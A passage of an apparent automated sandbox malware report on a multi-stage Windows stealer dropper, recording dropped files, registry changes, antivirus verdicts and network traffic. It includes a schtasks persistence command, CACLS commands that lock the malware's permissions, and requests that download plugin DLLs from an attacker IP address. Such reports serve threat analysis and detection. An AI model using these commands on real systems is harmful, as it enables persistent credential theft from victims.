for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2pQ5650.exe]- [targetUID: 00000000-00001864] "6BL1kL7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\IXP000.TMP\6BL1kL7.exe]- [targetUID: 00000000-00001380] "explothe.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00003888]6e:T6ba,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "gF3mD54.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "gF3mD54.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "oi9NR71.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "oi9NR71.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "ZF2zr63.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "ZF2zr63.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "Cb7yP98.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Cb7yP98.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"")6f:T1005,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" wrote 3584 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6BL1kL7.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "gF3mD54.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\oi9NR71.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "gF3mD54.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5nB9ui9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "oi9NR71.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\ZF2zr63.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "oi9NR71.exe" wrote 2048 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4em853cx.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ZF2zr63.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Cb7yP98.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ZF2zr63.exe" wrote 24064 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3Cf23Ki.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Cb7yP98.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1Nd23RF4.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Cb7yP98.exe" wrote 2560 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2pQ5650.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...70:T6da,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6BL1kL7.exe" for deletion "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe" for deletion "gF3mD54.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5nB9ui9.exe" for deletion "gF3mD54.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\oi9NR71.exe" for deletion "oi9NR71.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4em853cx.exe" for deletion "oi9NR71.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\ZF2zr63.exe" for deletion "ZF2zr63.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3Cf23Ki.exe" for deletion "ZF2zr63.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Cb7yP98.exe" for deletion "Cb7yP98.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2pQ5650.exe" for deletion "Cb7yP98.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1Nd23RF4.exe" for deletion "explothe.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" for deletion "explothe.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" for deletion "6BL1kL7.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3246.tmp" for deletion "6BL1kL7.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3246.tmp\3247.tmp" for deletion "6BL1kL7.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3246.tmp\3247.tmp\3248.tmp" for deletion "6BL1kL7.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3246.tmp\3247.tmp\3249.tmp" for deletion "6BL1kL7.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3246.tmp\3247.tmp\3248.bat" for deletion71:T770,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6BL1kL7.exe" with delete access "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe" with delete access "gF3mD54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "gF3mD54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "gF3mD54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5nB9ui9.exe" with delete access "gF3mD54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\oi9NR71.exe" with delete access "oi9NR71.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "oi9NR71.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "oi9NR71.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "oi9NR71.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4em853cx.exe" with delete access "oi9NR71.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\ZF2zr63.exe" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3Cf23Ki.exe" with delete access "ZF2zr63.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Cb7yP98.exe" with delete access72:T50f,"5nB9ui9.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "5nB9ui9.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "explothe.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "explothe.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "explothe.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "explothe.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "explothe.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "6BL1kL7.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "6BL1kL7.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")73:T51b,RegCreateKeyExA OpenProcessToken RegCloseKey RegDeleteValueA RegOpenKeyExA GetTickCount CreateProcessA GetModuleHandleW GetDriveTypeA LoadLibraryExA UnhandledExceptionFilter FindFirstFileA GetStartupInfoW TerminateProcess GetFileAttributesA FindNextFileA LockResource GetTempFileNameA CreateFileA GetVersionExA GetSystemDirectoryA LoadLibraryA GetSystemInfo Sleep CreateDirectoryA DeleteFileA GetModuleFileNameA GetProcAddress CreateThread GetTempPathA FindResourceA WriteFile GetTempPathW CreateThreadpoolWait GetModuleHandleExW CreateThreadpoolTimer FindFirstFileExW CreateThreadpoolWork GetModuleHandleA GetTickCount64 SleepConditionVariableCS LoadLibraryExW GetModuleFileNameW GetFileSizeEx OutputDebugStringW ExitThread CreateFileW GetNativeSystemInfo IsDebuggerPresent FindNextFileW SleepConditionVariableSRW GetCommandLineA GetCommandLineW LookupAccountNameA GetUserNameA CopyFileA GetVersionExW GetComputerNameExW VirtualAllocEx DeleteFileW GetDriveTypeW VirtualAlloc WriteProcessMemory GetThreadContext ReadProcessMemory ShellExecuteA InternetOpenUrlA InternetOpenA InternetOpenW HttpSendRequestA InternetConnectA InternetReadFile InternetCloseHandle CreateToolhelp32Snapshot GetStartupInfoA VirtualProtect ShellExecuteExW74:T77e,17/26 Antivirus vendors marked spawned process "2pQ5650.exe" (PID: 1864) as malicious (classified as "Trojan.Stealerc" with 65% detection rate) 13/27 Antivirus vendors marked spawned process "5nB9ui9.exe" (PID: 2000) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 3888) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 2792) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 5488) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 3276) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 2460) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 2128) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 3896) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 1364) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 2132) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 5900) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate) 13/27 Antivirus vendors marked spawned process "explothe.exe" (PID: 2672) as malicious (classified as "Gen:Variant.Doina" with 48% detection rate)75:Ta30,Spawned process "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (UID: 00000000-00001380) Spawned process "gF3mD54.exe" (UID: 00000000-00001884) Spawned process "oi9NR71.exe" (UID: 00000000-00004376) Spawned process "ZF2zr63.exe" (UID: 00000000-00003660) Spawned process "Cb7yP98.exe" (UID: 00000000-00003620) Spawned process "1Nd23RF4.exe" (UID: 00000000-00002836) Spawned process "2pQ5650.exe" (UID: 00000000-00001864) Spawned process "3Cf23Ki.exe" (UID: 00000000-00001520) Spawned process "AppLaunch.exe" (UID: 00000000-00004624) Spawned process "4em853cx.exe" (UID: 00000000-00003232) Spawned process "AppLaunch.exe" (UID: 00000000-00003236) Spawned process "5nB9ui9.exe" (UID: 00000000-00002000) Spawned process "explothe.exe" (UID: 00000000-00003888) Spawned process "6BL1kL7.exe" (UID: 00000000-00003560) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\3246.tmp\\3247.tmp\\3248.bat %TEMP%\\IXP000.TMP\\6BL1kL7.exe"" (UID: 00000000-00003868) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8cea\\explothe.exe" /F" (UID: 00000000-00002808) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe.exe" /P "%OSUSER%:R" /E&&echo Y|CACLS "..\\fefffe8cea" /P "%OSUSER%:N"&&CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E&&Exit" (UID: 00000000-00002644) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002248) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00003112) Spawned process "explothe.exe" (UID: 00000000-00002792) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00002900) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00004944) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:N"" (UID: 00000000-00005320) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E" (UID: 00000000-00003280) Spawned process "explothe.exe" (UID: 00000000-00005488) Spawned process "explothe.exe" (UID: 00000000-00003276) Spawned process "explothe.exe" (UID: 00000000-00002460) Spawned process "explothe.exe" (UID: 00000000-00002128) Spawned process "explothe.exe" (UID: 00000000-00003896) Spawned process "explothe.exe" (UID: 00000000-00001364) Spawned process "explothe.exe" (UID: 00000000-00002132) Spawned process "explothe.exe" (UID: 00000000-00005900) Spawned process "explothe.exe" (UID: 00000000-00002672)76:T595,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "file") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "1Nd23RF4.exe.1068373958") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "1Nd23RF4.exe.1068373958") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000624.00000000.69421.00401000.00000040.mdmp, 00000000-00000624.00000001.70747.00401000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000820.00000001.67935.01154000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000820.00000001.67935.01154000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000820.00000001.67935.01154000.00000002.mdmp")77:T5b8,Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00000288.00000000.68282.00361000.00000020.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "00000000-00000288.00000000.68282.00361000.00000020.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00000288.00000000.68282.00361000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "1Nd23RF4.exe.1068373958") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp, 00000000-00000288.00000000.68290.0041F000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00000288.00000000.68290.0041F000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00000288.00000000.68290.0041F000.00000002.mdmp")78:T540,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "file") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "file") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "00000000-00002976.00000000.67103.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00000288.00000000.68282.00361000.00000020.mdmp") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00000000-00001032.00000000.68634.00999000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000288.00000000.68282.00447000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000288.00000000.68290.0041F000.00000002.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000624.00000000.69421.00401000.00000040.mdmp, 00000000-00000624.00000001.70747.00401000.00000040.mdmp") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00001032.00000000.68634.00999000.00000004.mdmp, 00000000-00001032.00000001.68687.00999000.00000004.mdmp")79:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")7a:T534,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000624.00000000.69421.001D0000.00000002.mdmp 00000000-00000624.00000000.69421.00300000.00000004.mdmp 00000000-00000624.00000001.70747.00300000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000624.00000000.69421.001D0000.00000002.mdmp 00000000-00000624.00000000.69421.00300000.00000004.mdmp 00000000-00000624.00000001.70747.00300000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000624.00000000.69421.00300000.00000004.mdmp 00000000-00000624.00000001.70747.00300000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000624.00000000.69421.00300000.00000004.mdmp 00000000-00000624.00000001.70747.00300000.00000004.mdmp7b:T2a4a,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Sat 21 Oct 2023 06:43:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Sat 21 Oct 2023 06:43:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 06:25:58 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1060 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 06:25:05 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1116 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 21 Oct 2023 06:38:53 GMT Expires: Sat 21 Oct 2023 07:28:53 GMT Cache-Control: public max-age=3000 Age: 289 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... 